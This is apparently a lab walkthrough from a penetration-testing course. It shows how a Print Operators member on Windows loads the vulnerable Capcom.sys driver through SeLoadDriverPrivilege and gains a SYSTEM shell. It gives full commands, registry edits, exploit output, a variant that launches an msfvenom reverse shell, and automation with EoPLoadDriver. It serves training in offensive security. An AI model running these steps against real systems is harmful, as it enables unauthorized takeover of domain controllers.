Print Operators

Print Operators

Print Operators is another highly privileged group, which grants its members the SeLoadDriverPrivilege, rights to manage, create, share, and delete printers connected to a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it down

Checking Privileges

open CMD with Admin Privilege

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================  ==========
SeMachineAccountPrivilege     Add workstations to domain           Disabled
**SeLoadDriverPrivilege         Load and unload device drivers       Disabled**
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

Download

It's well known that the driver Capcom.sys contains functionality to allow any user to execute shellcode with SYSTEM privileges. We can use our privileges to load this vulnerable driver and escalate privileges. We can use this tool to load the driver. https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp

Download it locally and edit it, pasting over the includes below.

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

Compile with cl.exe

C:\Users\mrb3n\Desktop\Print Operators>**cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp**

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

Add Reference to Driver

Next, download the Capcom.sys driver from here, and save it to C:\temp. Issue the commands below to add a reference to this driver under our HKEY_CURRENT_USER tree.

C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

# HKCU\System\CurrentControlSet\CAPCOM => path of register which data put in current user
# ImagePath => path of image 
# /??/ -> NT Object Path to define path of system files

Verify Driver is not Loaded

we can verify that the Capcom.sys driver is not loaded.

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Verify Privilege is Enabled

Run the EnableSeLoadDriverPrivilege.exe binary.

C:\htb> EnableSeLoadDriverPrivilege.exe

whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
**SeLoadDriverPrivilege            Enabled**
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Verify Capcom Driver is Listed

Next, verify that the Capcom driver is now listed.

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys

Use ExploitCapcom Tool to Escalate Privileges

PS C:\htb> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

This launches a shell with SYSTEM privileges.

image.png

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Alternate Exploitation - No GUI

we can edit line 292 and replace "C:\\Windows\\system32\\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

The CommandLine string in this example would be changed to:

 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

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Automating the Steps

Automating with EopLoadDriver

We can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriver to load the driver. To do this, we would run the following:

C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

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Clean-up

Removing Registry Key

C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.